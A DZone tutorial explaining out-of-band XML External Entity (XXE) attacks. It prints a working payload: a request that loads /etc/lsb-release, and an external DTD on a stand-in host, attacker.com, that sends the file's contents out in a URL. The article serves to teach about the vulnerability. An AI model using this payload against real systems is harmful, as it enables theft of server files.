DZone
Thanks for visiting DZone today,
Edit Profile
  • Manage Email Subscriptions
  • How to Post to DZone
  • Article Submission Guidelines
Sign Out View Profile
  • Post an Article
  • Manage My Drafts
Over 2 million developers have joined DZone.
Log In / Join
Please enter at least three characters to search
Refcards Trend Reports
Events Video Library
Refcards
Trend Reports

Events

View Events Video Library

Zones

Culture and Methodologies Agile Career Development Methodologies Team Management
Data Engineering AI/ML Big Data Data Databases IoT
Software Design and Architecture Cloud Architecture Containers Integration Microservices Performance Security
Coding Frameworks Java JavaScript Languages Tools
Testing, Deployment, and Maintenance Deployment DevOps and CI/CD Maintenance Monitoring and Observability Testing, Tools, and Frameworks
Culture and Methodologies
Agile Career Development Methodologies Team Management
Data Engineering
AI/ML Big Data Data Databases IoT
Software Design and Architecture
Cloud Architecture Containers Integration Microservices Performance Security
Coding
Frameworks Java JavaScript Languages Tools
Testing, Deployment, and Maintenance
Deployment DevOps and CI/CD Maintenance Monitoring and Observability Testing, Tools, and Frameworks

The software you build is only as secure as the code that powers it. Learn how malicious code creeps into your software supply chain.

Apache Cassandra combines the benefits of major NoSQL databases to support data management needs not covered by traditional RDBMS vendors.

Generative AI has transformed nearly every industry. How can you leverage GenAI to improve your productivity and efficiency?

Modernize your data layer. Learn how to design cloud-native database architectures to meet the evolving demands of AI and GenAI workloads.

Related

  • How to Convert XLS to XLSX in Java
  • Understanding Java Signals
  • Thread-Safety Pitfalls in XML Processing
  • Loading XML into MongoDB

Trending

  • Software Delivery at Scale: Centralized Jenkins Pipeline for Optimal Efficiency
  • Traditional Testing and RAGAS: A Hybrid Strategy for Evaluating AI Chatbots
  • Manual Sharding in PostgreSQL: A Step-by-Step Implementation Guide
  • Can You Run a MariaDB Cluster on a $150 Kubernetes Lab? I Gave It a Shot
  1. DZone
  2. Coding
  3. Languages
  4. Out-of-Band XML External Entity (OOB-XXE)

Out-of-Band XML External Entity (OOB-XXE)

We wrap up our series on XXE vulnerabilities and discuss how hackers can use OOB-XXE to steal data from the victims' system.

By 
Ian Muscat user avatar
Ian Muscat
·
Jul. 21, 17 · Tutorial
Likes (0)
Comment
Save
Tweet
Share
10.4K Views

Join the DZone community and get the full member experience.

Join For Free

The previous articles in this series have touched upon in-band XML External Entity (XXE), that is when an attacker can send a request with an XXE payload and get a response back from the web application containing some data. However, this is often not the case.

There are many situations whereby an attacker can send an XML External Entity (XXE) payload to a web application, but the response will never be returned back. This is known as an Out-of-band vulnerability. The process for exploiting such a vulnerability is similar to the above example using parameter entities, with one difference – the attacker needs to get the XML parser to make an additional request to an attacker-controlled server in order to read the contents of the file.

The following is an example of how an attacker could leverage parameter entities to steal data using an Out-of-Band (OOB) technique.

Request 

POST http://example.com/xml HTTP/1.1

<!DOCTYPE data [
  <!ENTITY % file SYSTEM
  "file:///etc/lsb-release">
  <!ENTITY % dtd SYSTEM
  "http://attacker.com/evil.dtd">
  %dtd;
]>
<data>&send;</data>

Attacker DTD (attacker.com/evil.dtd)

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?collect=%file;'>"> %all;  

The XML parser will first process the %file parameter entity, which loads the file /etc/lsb-release. Next, the XML parser will make a request to the attacker’s DTD at http://attacker.com/evil.dtd.

Once the attacker’s DTD is processed, the all% parameter entity will create a general entity called &send;, which contains a URL containing the file’s contents (e.g., http://attacker.com/?collect=DISTRIB_ID=Ubuntu…). Finally, once the URL is constructed, the &send;; entity is processed by the parser, which makes a request to the attacker’s server. The attacker can then log the request on their end and reconstruct the contents of the file from the logged request.

Conclusion

XML External Entity (XXE), while not as prevalent as other vulnerabilities, is a very serious vulnerability that affects almost any web application that in some way or other parses XML.

XML External Entity (XXE) can be used to steal system files and source code on local servers, as well as launch Server-side Request Forgery (SSRF) attacks to other servers on the internal network. What’s more, XXE can also be used to cause Denial of Service when using some XML parsers, and external entities are enabled by default even though they are almost never needed by the application.

XML entity

Published at DZone with permission of Ian Muscat, DZone MVB. See the original article here.

Opinions expressed by DZone contributors are their own.

Related

  • How to Convert XLS to XLSX in Java
  • Understanding Java Signals
  • Thread-Safety Pitfalls in XML Processing
  • Loading XML into MongoDB

Partner Resources

×

Comments
Oops! Something Went Wrong

The likes didn't load as expected. Please refresh the page and try again.

ABOUT US

  • About DZone
  • Support and feedback
  • Community research
  • Sitemap

ADVERTISE

  • Advertise with DZone

CONTRIBUTE ON DZONE

  • Article Submission Guidelines
  • Become a Contributor
  • Core Program
  • Visit the Writers' Zone

LEGAL

  • Terms of Service
  • Privacy Policy

CONTACT US

  • 3343 Perimeter Hill Drive
  • Suite 100
  • Nashville, TN 37211
  • support@dzone.com

Let's be friends:

Likes
There are no likes...yet! 👀
Be the first to like this post!
It looks like you're not logged in.
Sign in to see who liked this post!